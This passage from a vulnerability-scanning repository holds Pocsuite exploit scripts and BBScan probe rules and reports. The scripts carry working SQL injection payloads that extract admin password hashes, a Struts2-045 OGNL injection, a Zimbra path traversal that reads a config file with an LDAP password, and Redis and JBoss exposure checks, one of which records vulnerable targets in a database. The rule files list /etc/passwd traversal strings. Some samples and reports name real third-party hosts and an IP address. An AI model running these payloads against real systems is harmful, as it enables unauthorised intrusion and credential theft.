38 | if resp and resp.text and resp.status_code == 200: 39 | if "zimbra_ldap_password" in resp.text or "zimbra_server_hostname" in resp.text: 40 | result['FileInfo'] = {} 41 | result['FileInfo']['Filename'] = "zimbra/conf/localconfig.xml" 42 | return self.parse_output(result) 43 | 44 | def parse_output(self, result): 45 | output = Output(self) 46 | if result: 47 | output.success(result) 48 | else: 49 | output.fail('Failed') 50 | return output 51 | 52 | 53 | register(TestPOC) 54 | -------------------------------------------------------------------------------- /pocs/axublog_1_6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | from pocsuite.net import req 6 | from pocsuite.poc import POCBase, Output 7 | from pocsuite.utils import register 8 | 9 | 10 | class AxublogPOC(POCBase): 11 | name = 'axublog' 12 | vulID = '0' # https://www.seebug.org/vuldb/ssvid-78176 13 | author = ['bey0nd'] 14 | vulType = 'SQLI' 15 | version = '1.0.6' # default version: 1.0 16 | references = [''] 17 | desc = '''axublog1.0.6 sqli''' 18 | 19 | vulDate = '2018-01-10' 20 | createDate = '2018-01-10' 21 | updateDate = '2018-01-10' 22 | 23 | appName = 'axublog' 24 | appVersion = 'axublog' 25 | appPowerLink = 'axublog' 26 | samples = [''] 27 | 28 | def _attack(self): 29 | '''attack mode''' 30 | return self._verify() 31 | 32 | def _verify(self): 33 | '''verify mode''' 34 | result = {} 35 | payurl = "hit.php?g=arthit&id=-1 +%55NION+ALL+%53ELECT+1,2,3,4,5,6,md5(1),8,9,10,11,12 from axublog_adusers" 36 | resp = req.get(self.url + payurl) 37 | print resp.text 38 | if resp and resp.text and resp.status_code == 200: 39 | if "c4ca4238a0b923820dcc509a6f75849b" in resp.text: 40 | result['AdminInfo'] = {} 41 | result['AdminInfo']['Password'] = "c4ca4238a0b923820dcc509a6f75849b" 42 | return self.parse_output(result) 43 | 44 | def parse_output(self, result): 45 | output = Output(self) 46 | if result: 47 | output.success(result) 48 | else: 49 | output.fail('Failed') 50 | return output 51 | 52 | register(AxublogPOC) 53 | -------------------------------------------------------------------------------- /pocs/dedecms_re.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | from pocsuite.net import req 4 | from pocsuite.poc import Output, POCBase 5 | from pocsuite.utils import register 6 | class TestPOC(POCBase): 7 | name = 'plus/recommend 注入漏洞利用EXP' 8 | vulID = '6' 9 | author = ['bey0nd'] 10 | vulType = 'SQL Injection' 11 | version = '1.0' # default version: 1.0 12 | references = ['http://www.wooyun.org/'] 13 | desc = ''' 14 | 开发人员在修补漏洞的时候只修复了少数的变量而遗漏了其他变量,使其他变量直接 15 | 带入了SQL语句中,可以通过字符来转义掉一个单引号,逃逸单引号,产生SQL注入。 16 | 此注入为报错注入,可以通过UpdateXML函数进行注入。 17 | ''' 18 | 19 | vulDate = '2016-12-07' 20 | createDate = '2016-12-07' 21 | updateDate = '2016-12-07' 22 | 23 | appName = '' 24 | appVersion = '5.7' 25 | appPowerLink = '' 26 | samples = [''] 27 | 28 | def _attack(self): 29 | '''attack mode''' 30 | return self._verify() 31 | 32 | def _verify(self): 33 | '''verify mode''' 34 | result = {} 35 | # print self.url 36 | target = self.url + "plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294" 37 | # print target 38 | html = req.get(target).text 39 | start = html.find("

") 40 | if(start!=-1): 41 | end = html.find("

") 42 | 43 | result['DBInfo'] = {} 44 | result['DBInfo']['Username'] = html[start+7:end] 45 | return self.parse_output(result) 46 | 47 | 48 | 49 | 50 | def parse_output(self, result): 51 | output = Output(self) 52 | if result: 53 | output.success(result) 54 | else: 55 | output.fail('Failed') 56 | return output 57 | 58 | 59 | register(TestPOC) 60 | -------------------------------------------------------------------------------- /pocs/git_config_info_disclosure.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | from pocsuite.net import req 4 | from pocsuite.poc import POCBase, Output 5 | from pocsuite.utils import register 6 | 7 | 8 | class TestPOC(POCBase): 9 | vulID = '' # vul ID 10 | version = '1' 11 | author = ['bey0nd'] 12 | vulDate = '2015-03-12' 13 | createDate = '2015-04-09' 14 | updateDate = '2015-04-09' 15 | references = ['http://www.wooyun.org/bugs/wooyun-2015-0100762'] 16 | name = 'Git all Information Disclosure' 17 | appPowerLink = 'http://www.git-scm.com' 18 | appName = 'Git' 19 | appVersion = 'all' 20 | vulType = 'Information Disclosure' 21 | desc = ''' 22 | .git/config 上传到服务器导致网站源码可down 23 | ''' 24 | # the sample sites for examine 25 | samples = ['', ''] 26 | 27 | def _verify(self): 28 | target_url = '/.git/config' 29 | result = {} 30 | try: 31 | response = req.get(self.url + target_url, timeout=10, verify=False) 32 | except Exception as e: 33 | return self.parse_attack(result) 34 | 35 | content = response.content 36 | if '[remote "origin"]' in content: 37 | 38 | result['VerifyInfo'] = {} 39 | result['VerifyInfo']['URL'] = self.url + target_url 40 | else: 41 | result = {} 42 | 43 | return self.parse_attack(result) 44 | 45 | def _attack(self): 46 | return self._verify() 47 | 48 | def parse_attack(self, result): 49 | output = Output(self) 50 | 51 | if result: 52 | output.success(result) 53 | else: 54 | output.fail('failed') 55 | 56 | return output 57 | 58 | 59 | register(TestPOC) -------------------------------------------------------------------------------- /pocs/jboss.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | from pocsuite.net import req 6 | from pocsuite.poc import POCBase, Output 7 | from pocsuite.utils import register 8 | import MySQLdb 9 | 10 | class Struts45POC(POCBase): 11 | name = 'Jboss' 12 | vulID = '0' # https://www.seebug.org/vuldb/ssvid-78176 13 | author = ['bey0nd'] 14 | vulType = 'Command Execution' 15 | version = '1.0' # default version: 1.0 16 | references = [''] 17 | desc = '''struts2-045''' 18 | 19 | vulDate = '2013-02-14' 20 | createDate = '2013-02-14' 21 | updateDate = '2013-02-14' 22 | 23 | appName = 'jboss' 24 | appVersion = 'jboss' 25 | appPowerLink = 'jboss' 26 | samples = [''] 27 | 28 | def _attack(self): 29 | '''attack mode''' 30 | return self._verify() 31 | 32 | def _verify(self): 33 | '''verify mode''' 34 | result = {} 35 | murl = self.url + "/invoker/readonly" 36 | resp = req.get(murl) 37 | if resp.status_code == 500: 38 | # if "bey0nd" in resp.text: 39 | result['FileInfo'] = {} 40 | result['FileInfo']['Filename'] = "bey0nd" 41 | self.query(self.url) 42 | 43 | 44 | return self.parse_output(result) 45 | 46 | def parse_output(self, result): 47 | output = Output(self) 48 | if result: 49 | output.success(result) 50 | else: 51 | output.fail('Failed') 52 | return output 53 | def query(self, url): 54 | sql = 'INSERT INTO jboss(url) VALUE("%s")' % url 55 | conn = MySQLdb.connect(host='localhost',user='root',passwd='root',db='hacktest',charset='utf8') 56 | cursor = conn.cursor() 57 | cursor.execute(sql) 58 | data = cursor.fetchall() 59 | conn.close() 60 | return data 61 | register(Struts45POC) 62 | -------------------------------------------------------------------------------- /pocs/ns_asg_6_2_gateway.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | from pocsuite.net import req 6 | from pocsuite.poc import POCBase, Output 7 | from pocsuite.utils import register 8 | 9 | 10 | class TestPOC(POCBase): 11 | name = 'NS-ASG 6.2 SQLI' 12 | vulID = '0' # https://www.seebug.org/vuldb/ssvid-78176 13 | author = ['bey0nd'] 14 | vulType = 'SQLI' 15 | version = '1.0' # default version: 1.0 16 | references = [''] 17 | desc = '''NS-ASG 6.2 SQLI''' 18 | 19 | vulDate = '2013-02-14' 20 | createDate = '2013-02-14' 21 | updateDate = '2013-02-14' 22 | 23 | appName = 'NETENTSEC' 24 | appVersion = 'NETENTSEC' 25 | appPowerLink = 'NETENTSEC' 26 | samples = ['https://121.28.81.124/'] 27 | 28 | def _attack(self): 29 | '''attack mode''' 30 | return self._verify() 31 | 32 | def _verify(self): 33 | '''verify mode''' 34 | result = {} 35 | payloads= ['/admin/config_MT.php?action=delete&Mid=1%20and%20extractvalue(0x1,concat(0x23,md5(1)))', 36 | '/admin/count_user.php?action=GO&search=%27%0band%0bextractvalue(0x1,concat(0x23,md5(1)))%23', 37 | '/admin/edit_fire_wall.php?action=update&FireWallId=111%20and%20extractvalue(0x1,concat(0x23,md5(1)))', 38 | ] 39 | for pay in payloads: 40 | url = self.url + pay 41 | resp = req.get(url) 42 | if resp and resp.text and resp.status_code == 200: 43 | if "c4ca4238a0b923820dcc509a6f7584" in resp.text: 44 | print 'sdfsd' 45 | result['DBInfo'] = {} 46 | result['DBInfo']['Password'] = "c4ca4238a0b923820dcc509a6f75849b" 47 | break 48 | 49 | return self.parse_output(result) 50 | 51 | def parse_output(self, result): 52 | output = Output(self) 53 | if result: 54 | output.success(result) 55 | else: 56 | output.fail('Failed') 57 | return output 58 | 59 | 60 | register(TestPOC) 61 | -------------------------------------------------------------------------------- /pocs/pocsuite/st2_045.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | from pocsuite.net import req 6 | from pocsuite.poc import POCBase, Output 7 | from pocsuite.utils import register 8 | 9 | 10 | class Struts45POC(POCBase): 11 | name = 'struts045' 12 | vulID = '0' # https://www.seebug.org/vuldb/ssvid-78176 13 | author = ['bey0nd'] 14 | vulType = 'Command Execution' 15 | version = '1.0' # default version: 1.0 16 | references = [''] 17 | desc = '''struts2-045''' 18 | 19 | vulDate = '2013-02-14' 20 | createDate = '2013-02-14' 21 | updateDate = '2013-02-14' 22 | 23 | appName = 'struts' 24 | appVersion = 'struts' 25 | appPowerLink = 'struts' 26 | samples = [''] 27 | 28 | def _attack(self): 29 | '''attack mode''' 30 | return self._verify() 31 | 32 | def _verify(self): 33 | '''verify mode''' 34 | result = {} 35 | self.headers['Content-type'] = "%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('bey0nd')).(#o.close())}" 36 | resp = req.post(self.url,headers = self.headers) 37 | if resp and resp.text and resp.status_code == 200: 38 | if "bey0nd" in resp.text: 39 | result['FileInfo'] = {} 40 | result['FileInfo']['Filename'] = "bey0nd" 41 | return self.parse_output(result) 42 | 43 | def parse_output(self, result): 44 | output = Output(self) 45 | if result: 46 | output.success(result) 47 | else: 48 | output.fail('Failed') 49 | return output 50 | 51 | register(Struts45POC) 52 | -------------------------------------------------------------------------------- /pocs/redis-unauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | from pocsuite.net import req 5 | from pocsuite.poc import POCBase, Output 6 | from pocsuite.utils import register 7 | import socket 8 | from pocsuite.api.utils import url2ip 9 | 10 | class RedisunauthPOC(POCBase): 11 | name = 'Redisunauth' 12 | vulID = '0' # https://www.seebug.org/vuldb/ssvid-78176 13 | author = ['bey0nd'] 14 | vulType = 'Command Execution' 15 | version = '1.0' # default version: 1.0 16 | references = [''] 17 | desc = '''Redisunauth''' 18 | 19 | vulDate = '2013-02-14' 20 | createDate = '2013-02-14' 21 | updateDate = '2013-02-14' 22 | 23 | appName = 'redis' 24 | appVersion = 'redis' 25 | appPowerLink = 'redis' 26 | samples = [''] 27 | 28 | def _attack(self): 29 | '''attack mode''' 30 | return self._verify() 31 | 32 | def _verify(self): 33 | '''verify mode''' 34 | result = {} 35 | import socket 36 | s = socket.socket() 37 | payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a' 38 | socket.setdefaulttimeout(5) 39 | host = url2ip(self.url) 40 | port = 6379 41 | s.connect((host, port)) 42 | s.send(payload) 43 | recvdata = s.recv(1024) 44 | if recvdata and 'redis_version' in recvdata: 45 | result['FileInfo'] = {} 46 | result['FileInfo']['Filename'] = "redis-unauth" 47 | s.close() 48 | 49 | 50 | return self.parse_output(result) 51 | 52 | def parse_output(self, result): 53 | output = Output(self) 54 | if result: 55 | output.success(result) 56 | else: 57 | output.fail('Failed') 58 | return output 59 | 60 | register(RedisunauthPOC) 61 | -------------------------------------------------------------------------------- /pocs/zimbra_lfi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | from pocsuite.net import req 6 | from pocsuite.poc import POCBase, Output 7 | from pocsuite.utils import register 8 | 9 | 10 | class TestPOC(POCBase): 11 | name = 'Zimbra LFI' 12 | vulID = '0' # https://www.seebug.org/vuldb/ssvid-78176 13 | author = ['bey0nd'] 14 | vulType = 'LFI' 15 | version = '1.0' # default version: 1.0 16 | references = ['http://www.myhack58.com/Article/html/3/62/2013/41590.htm'] 17 | desc = '''Zimbra文件包含,并可增加管理员.''' 18 | 19 | vulDate = '2013-02-14' 20 | createDate = '2013-02-14' 21 | updateDate = '2013-02-14' 22 | 23 | appName = 'Zimbra' 24 | appVersion = 'Zimbra' 25 | appPowerLink = 'zimbra' 26 | samples = [''] 27 | 28 | def _attack(self): 29 | '''attack mode''' 30 | return self._verify() 31 | 32 | def _verify(self): 33 | '''verify mode''' 34 | result = {} 35 | self.url = self.url + '/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00' 36 | 37 | resp = req.get(self.url) 38 | if resp and resp.text and resp.status_code == 200: 39 | if "zimbra_ldap_password" in resp.text or "zimbra_server_hostname" in resp.text: 40 | result['FileInfo'] = {} 41 | result['FileInfo']['Filename'] = "zimbra/conf/localconfig.xml" 42 | return self.parse_output(result) 43 | 44 | def parse_output(self, result): 45 | output = Output(self) 46 | if result: 47 | output.success(result) 48 | else: 49 | output.fail('Failed') 50 | return output 51 | 52 | 53 | register(TestPOC) 54 | -------------------------------------------------------------------------------- /reports/hosts_20180119_161609.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BBScan Report 5 | 6 | 17 | 18 | 19 |

Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

20 |

Current Scan finished in 0 min 48.27 seconds.

21 | 22 |

www.hudongtoken.com:443

23 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /reports/hosts_20180125_173805.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BBScan Report 5 | 6 | 17 | 18 | 19 |

Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

20 |

Current Scan finished in 0 min 48.29 seconds.

21 | 22 |

admin.bishijie.com:80

23 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /reports/hosts_20180905_185445.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BBScan Report 5 | 6 | 17 | 18 | 19 |

Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

20 |

Current Scan finished in 0 min 44.54 seconds.

21 | 22 |

api.hualala.com:80

23 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /reports/hosts_20180905_185637.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BBScan Report 5 | 6 | 17 | 18 | 19 |

Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

20 |

Current Scan finished in 0 min 40.91 seconds.

21 | 22 |

api.hualala.com:80

23 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /reports/hosts_20181207_134034.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BBScan Report 5 | 6 | 17 | 18 | 19 |

Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

20 |

Current Scan finished in 0 min 42.31 seconds.

21 | 22 |

api.hualala.com:80

23 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /reports/hosts_20181207_134139.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BBScan Report 5 | 6 | 17 | 18 | 19 |

Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

20 |

Current Scan finished in 0 min 42.27 seconds.

21 | 22 |

api.hualala.com:80

23 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | paramiko 2 | gevent 3 | BeautifulSoup4>=4.3.2 4 | py2-ipaddress>=3.4.1 5 | dnspython>=1.15.0 6 | urllib3 7 | pymongo 8 | requests -------------------------------------------------------------------------------- /thirdparty/BBScan/BBScan.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/BBScan.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/crawler_logs/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/crawler_logs/.gitignore -------------------------------------------------------------------------------- /thirdparty/BBScan/lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/lib/__init__.py -------------------------------------------------------------------------------- /thirdparty/BBScan/lib/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/lib/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/lib/cmdline.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/lib/cmdline.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/lib/common.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/lib/common.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/lib/connectionPool.py: -------------------------------------------------------------------------------- 1 | import urllib3 2 | import socket 3 | import struct 4 | import logging 5 | from urllib3.packages.six.moves.queue import Empty 6 | 7 | 8 | urllib3.disable_warnings() 9 | logging.getLogger('requests.packages.urllib3.connectionpool').setLevel(logging.CRITICAL) 10 | 11 | 12 | class HTTPConnPool(urllib3.HTTPConnectionPool): 13 | def close(self): 14 | """ 15 | Close all pooled connections and disable the pool. 16 | """ 17 | # Disable access to the pool 18 | old_pool, self.pool = self.pool, None 19 | 20 | try: 21 | while True: 22 | conn = old_pool.get(block=False) 23 | if conn: 24 | conn.sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) 25 | conn.close() 26 | except Empty: 27 | pass 28 | 29 | 30 | class HTTPSConnPool(urllib3.HTTPSConnectionPool): 31 | def close(self): 32 | """ 33 | Close all pooled connections and disable the pool. 34 | """ 35 | # Disable access to the pool 36 | old_pool, self.pool = self.pool, None 37 | 38 | try: 39 | while True: 40 | conn = old_pool.get(block=False) 41 | if conn: 42 | conn.sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) 43 | conn.close() 44 | except Empty: 45 | pass -------------------------------------------------------------------------------- /thirdparty/BBScan/lib/connectionPool.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/lib/connectionPool.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/lib/report.py: -------------------------------------------------------------------------------- 1 | # -*- encoding: utf-8 -*- 2 | # report template 3 | 4 | 5 | # template for html 6 | html_general = """ 7 | 8 | 9 | BBScan Report 10 | 11 | 22 | 23 | 24 |

Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

25 |

Current Scan finished in ${cost_min} min ${cost_seconds} seconds.

26 | ${content} 27 | 28 | 29 | """ 30 | 31 | html_host = """ 32 |

${host}

33 | 36 | """ 37 | 38 | html_list_item = """ 39 |
  • ${status} [${title}] ${url}
  • 40 | """ 41 | 42 | html = { 43 | 'general': html_general, 44 | 'host': html_host, 45 | 'list_item': html_list_item, 46 | 'suffix': '.html' 47 | } 48 | 49 | 50 | # template for markdown 51 | markdown_general = """ 52 | # BBScan Report 53 | Please consider to contribute some rules to make BBScan more efficient. 54 | Version:v 1.3 55 | TimeUsage: ${cost_min} min ${cost_seconds} seconds 56 | ${content} 57 | """ 58 | 59 | markdown_host = """ 60 | ## ${host} 61 | ${list} 62 | """ 63 | 64 | markdown_list_item = """* ${status} ${title} ${url} 65 | """ 66 | 67 | markdown = { 68 | 'general': markdown_general, 69 | 'host': markdown_host, 70 | 'list_item': markdown_list_item, 71 | 'suffix': '.md' 72 | } 73 | 74 | 75 | # summary 76 | template = { 77 | 'html': html, 78 | 'markdown': markdown 79 | } 80 | -------------------------------------------------------------------------------- /thirdparty/BBScan/lib/report.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/lib/report.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/report/hosts_20180119_161609.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BBScan Report 5 | 6 | 17 | 18 | 19 |

    Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

    20 |

    Current Scan finished in 0 min 48.27 seconds.

    21 | 22 |

    www.hudongtoken.com:443

    23 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /thirdparty/BBScan/report/hosts_20180125_173805.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BBScan Report 5 | 6 | 17 | 18 | 19 |

    Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

    20 |

    Current Scan finished in 0 min 48.29 seconds.

    21 | 22 |

    admin.bishijie.com:80

    23 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /thirdparty/BBScan/report/hosts_20180905_185445.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BBScan Report 5 | 6 | 17 | 18 | 19 |

    Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

    20 |

    Current Scan finished in 0 min 44.54 seconds.

    21 | 22 |

    api.hualala.com:80

    23 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /thirdparty/BBScan/report/hosts_20180905_185637.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BBScan Report 5 | 6 | 17 | 18 | 19 |

    Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

    20 |

    Current Scan finished in 0 min 40.91 seconds.

    21 | 22 |

    api.hualala.com:80

    23 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /thirdparty/BBScan/report/hosts_20181207_134034.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BBScan Report 5 | 6 | 17 | 18 | 19 |

    Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

    20 |

    Current Scan finished in 0 min 42.31 seconds.

    21 | 22 |

    api.hualala.com:80

    23 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /thirdparty/BBScan/report/hosts_20181207_134139.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BBScan Report 5 | 6 | 17 | 18 | 19 |

    Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

    20 |

    Current Scan finished in 0 min 42.27 seconds.

    21 | 22 |

    api.hualala.com:80

    23 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /thirdparty/BBScan/rules/101.graphite_ssrf.txt: -------------------------------------------------------------------------------- 1 | /composer/send_email?to=orangetest@nogg&url=http://wwwwwwwwwwwww.cctvasdfasfsaasfasfs.com {status=200} {tag="gaierror: [Errno -2]"} {root_only} -------------------------------------------------------------------------------- /thirdparty/BBScan/rules/102.discuz_getcolor_dom_xss.txt: -------------------------------------------------------------------------------- 1 | # /static/image/admincp/getcolor.htm {status=200} {tag="if(fun) eval('parent.'+fun+'"} {type="html"} 2 | # Scan with user script: discuz_backup_file.py -------------------------------------------------------------------------------- /thirdparty/BBScan/rules/103.java_server_faces2.txt: -------------------------------------------------------------------------------- 1 | /javax.faces.resource.../WEB-INF/web.xml.jsf {status=200} {type="xml"} {tag="APC INFO"} 11 | 12 | 13 | /test.php {status=200} {type="html"} 14 | /test2.php {status=200} {type="html"} 15 | /test.html {status=200} {type="html"} 16 | /test2.html {status=200} {type="html"} 17 | /test.txt {status=200} {type="text/plain"} 18 | /test2.txt {status=200} {type="text/plain"} 19 | /debug.php {status=200} {type="html"} 20 | /a.php {status=200} {type="html"} 21 | /b.php {status=200} {type="html"} 22 | /t.php {status=200} {type="html"} 23 | 24 | /x.php {status=200} {type="html"} 25 | /1.php {status=200} {type="html"} 26 | 27 | 28 | # Test CGI {tag="SERVER_NAME"} 29 | #/test.cgi {status=200} {type="html"} {root_only} 30 | #/test-cgi {status=200} {type="html"} {root_only} 31 | #/cgi-bin/test-cgi {status=200} {type="html"} {root_only} 32 | 33 | -------------------------------------------------------------------------------- /thirdparty/BBScan/rules/4.directory_traversal.txt: -------------------------------------------------------------------------------- 1 | # Directory traversal 2 | 3 | 4 | /etc/passwd {tag="root:x:"} 5 | /proc/meminfo {tag="MemTotal"} {status=200} {root_only} 6 | /etc/profile {tag="/etc/profile.d/*.sh"} {status=200} {root_only} 7 | /file:///etc/passwd {tag="root:x:"} {root_only} 8 | 9 | 10 | /../../../../../../../../../../../../../etc/passwd {tag="root:x:"} {root_only} 11 | /../../../../../../../../../../../../../etc/profile {tag="/etc/profile.d/*.sh"} {root_only} 12 | //././././././././././././././././././././././././../../../../../../../../etc/profile {tag="/etc/profile.d/*.sh"} {root_only} 13 | /aa/../../cc/../../bb/../../dd/../../aa/../../cc/../../bb/../../dd/../../bb/../../dd/../../bb/../../dd/../../bb/../../dd/../../ee/../../etc/profile {status=200} {tag="/etc/profile.d/*.sh"} {root_only} 14 | 15 | 16 | /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/profile {tag="/etc/profile.d/*.sh"} {root_only} 17 | /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd {tag="root:x:"} {root_only} 18 | /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd {tag="root:x:"} {root_only} 19 | /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd {tag="root:x:"} {root_only} 20 | 21 | 22 | /resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd {tag="root:x:"} {root_only} -------------------------------------------------------------------------------- /thirdparty/BBScan/rules/6.web_editors.txt: -------------------------------------------------------------------------------- 1 | 2 | # Web Editors 3 | 4 | 5 | /fckeditor/_samples/default.html {tag="FCKeditor"} {type="html"} 6 | /ckeditor/samples/ {tag="<title>CKEditor Samples"} 7 | /editor/ckeditor/samples/ {tag="CKEditor Samples"} 8 | /ckeditor/samples/sample_posteddata.php {tag="http://ckeditor.com"} 9 | /editor/ckeditor/samples/sample_posteddata.php {tag="http://ckeditor.com"} 10 | /fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php {status=200} {type="html"} {tag="init_spell()"} 11 | /fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php {status=200} {type="html"} {tag="init_spell()"} 12 | 13 | 14 | # ueditor SSRF 15 | 16 | /ueditor/ueditor.config.js {status=200} {tag="window.UEDITOR_HOME_URL"} 17 | /ueditor/php/getRemoteImage.php {tag="'tip':'"} {status=200} 18 | 19 | -------------------------------------------------------------------------------- /thirdparty/BBScan/rules/7.possible_flash_xss.txt: -------------------------------------------------------------------------------- 1 | /ZeroClipboard.swf {status=206} {type="flash"} 2 | /zeroclipboard.swf {status=206} {type="flash"} 3 | /swfupload.swf {status=206} {type="flash"} 4 | /swfupload/swfupload.swf {status=206} {type="flash"} 5 | /open-flash-chart.swf {status=206} {type="flash"} 6 | /uploadify.swf {status=206} {type="flash"} 7 | /flowplayer.swf {status=206} {type="flash"} 8 | /Jplayer.swf {status=206} {type="flash"} 9 | /extjs/resources/charts.swf {status=206} {type="flash"} -------------------------------------------------------------------------------- /thirdparty/BBScan/rules/black.list: -------------------------------------------------------------------------------- 1 | # text to exclude in html doc 2 | # regex can be used 3 | # 匹配的条目将被丢弃 4 | 5 | 6 | {text="/404/search_children.js"} 7 | 8 | {text="qzone.qq.com/gy/404/data.js"} 9 | 10 | {text="访问的页面不存在"} 11 | 12 | {text="404 Not Found"} 13 | 14 | {text="

    The server encountered an internal error or"} 15 | 16 | {text="http://www.qq.com/babygohome/?pgv_ref=404"} 17 | 18 | {text="

    410 Gone

    "} 19 | 20 | {regex_text="controller.*not found"} 21 | 22 | {text="404 Page Not Found"} 23 | 24 | {text="You do not have permission to get URL"} 25 | 26 | {text="403 Forbidden"} 27 | 28 | {text="

    Whoops, looks like something went wrong.

